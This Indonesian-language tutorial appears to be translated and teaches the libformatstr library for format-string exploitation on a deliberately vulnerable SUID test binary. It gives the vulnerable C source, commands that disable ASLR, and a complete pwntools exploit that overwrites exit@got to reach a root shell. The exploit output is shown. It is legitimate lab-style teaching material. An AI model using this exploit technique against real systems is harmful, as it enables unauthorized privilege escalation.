libformatstr adalah pustaka yang dibuat oleh hellman dengan tujuan menyederhanakan eksploitasi format string. Repositori GitHub dapat ditemukan di sini . Sudah ada sejak 2012 tapi saya belum bisa menemukan banyak tutorial tentangnya. Saya telah melihat tulisan CTF yang menggunakannya, jadi saya memutuskan untuk meluangkan waktu untuk membuat tulisan singkat tentang itu untuk referensi saya sendiri.
Mari kita mulai dengan biner rentan yang sederhana:
/* compile: gcc -Wno-format-security ex1.c -o ex1 */ #include <stdio.h> #include <string.h> #include <stdlib.h> void win() { system("/bin/sh"); } void main(int argc, char *argv[]) { char buf[103]; fgets(buf, 103, stdin); buf[strlen(buf)-1] = 0x0; printf(buf); exit(0); }
Anda juga dapat mengunduh biner yang telah dikompilasi sebelumnya di sini . Matikan ASLR di sistem, buat biner SUID root, dan jalankan menggunakan socat:
# echo 0 > /proc/sys/kernel/randomize_va_space # chown root:root ex1 # chmod 4755 ex1 # socat TCP-LISTEN:5000,reuseaddr,fork EXEC:./ex1
Mari kita uji kerentanannya:
koji@pwnbox32:~$ nc localhost 5000 %x.%x.%x.%x.%x.%x 67.b7fc1c20.bffff734.bffff6d4.2e782548.252e7825koji@pwnbox32:~$
Hebat, kami membocorkan tumpukan sehingga kami tahu kerentanannya ada. Langkah pertama adalah melihat apakah kami dapat menemukan string format kami di tumpukan. Secara tradisional kami akan mengirim sesuatu seperti “AAAA.% X.% X.% X.% X” dan seterusnya dan melihat apakah kami dapat menemukannya dari keluaran. libformatstr mengotomatiskannya untuk kita:
#!/usr/bin/env python from libformatstr import * # need this for libformatstr from pwn import * import sys bufsiz = 100 # size of cyclic pattern to send buf = "" r = remote("localhost", 5000) # PART 1 - getting format string offset r.send(make_pattern(bufsiz) + "\n") # send cyclic pattern to server data = r.recv() # server's response offset, padding = guess_argnum(data, bufsiz) # find format string offset and padding log.info("offset : " + str(offset)) log.info("padding: " + str(padding)) r.close()
Untuk menemukan offset dan padding, libformatstr mengirimkan pola siklik ke layanan menggunakan make_pattern (). Dibutuhkan parameter integer, yang merupakan panjang pola siklik untuk dikirim. Dalam hal ini saya mengirim 100 byte.
Ketika kita menerima output dari layanan, kita bisa menggunakan guess_argnum () untuk mengembalikan offset string format kita, dan padding apa pun yang dimilikinya. guess_argnum () mengambil keluaran yang kita terima dan panjangnya sebagai parameternya. Mari kita lihat aksinya:
koji@pwnbox32:~$ ./sploit.py [+] Opening connection to localhost on port 5000: Done [*] Closed connection to localhost port 5000 [*] offset : 6 [*] padding: 3
Menurut libformatstr, format string kita akan berada di offset 6 dan perlu diisi 3 byte. Mari kita uji secara manual:koji@pwnbox32:~$ nc localhost 5000 aaaBBBB.%x.%x.%x.%x.%x.%x aaaBBBB.67.b7fc1c20.bffff734.bffff6d4.61616148.42424242koji@pwnbox32:~$
Berhasil. Kami mencari “BBBB” dan kami telah menambahkannya dengan tiga byte “aaa”. Benar saja pada offset 6, kita melihat 0x42424242. libformatstr melakukan pekerjaan dengan baik.
Sekarang kita memiliki offset dan padding, kita dapat melanjutkan ke eksploitasi. Dalam hal ini kami ingin mengarahkan eksekusi biner ke fungsi win () yang memanggil sistem (“/ bin / sh”). Untuk melakukan ini, kami akan menimpa exit @ got. Jika Anda menggunakan biner yang saya berikan, alamat win () ada di 0x080484fd, dan exit @ got di 0x0804a01c.
# PART 2 - exploitation win_addr = 0x080484fd # gdb ex1 -batch -n -ex "p win" exit_got = 0x0804a01c # readelf -r ex1 | grep exit p = FormatStr(bufsiz) p[exit_got] = win_addr # overwrite exit@got with address of win() buf += p.payload(offset, padding) # setup the payload r = remote("localhost", 5000) r.send(buf + "\n") # send payload to server r.interactive() # get our shell
Seperti yang Anda lihat, libformatstr membuat penimpaan exit @ menjadi sangat mudah. Tidak perlu menghitung berapa byte untuk menulis atau semacamnya. Ayo coba:koji@pwnbox32:~$ ./sploit.py [+] Opening connection to localhost on port 5000: Done [*] Closed connection to localhost port 5000 [*] offset : 6 [*] padding: 3 [+] Opening connection to localhost on port 5000: Done [*] Switching to interactive mode $ id uid=0(root) gid=0(root) euid=1000(koji) groups=1000(koji),0(root) $
Punya shell root, jadi exploit kami berfungsi. Kami tidak terbatas untuk menimpa exit @ got dengan alamat win (). Kami dapat mengisi muatan kami dengan shellcode dan meminta exit @ melompat ke sana, asalkan NX tidak diaktifkan pada biner. Kami juga bisa membuatnya melompat ke awal rantai ROP kami juga, dan seterusnya.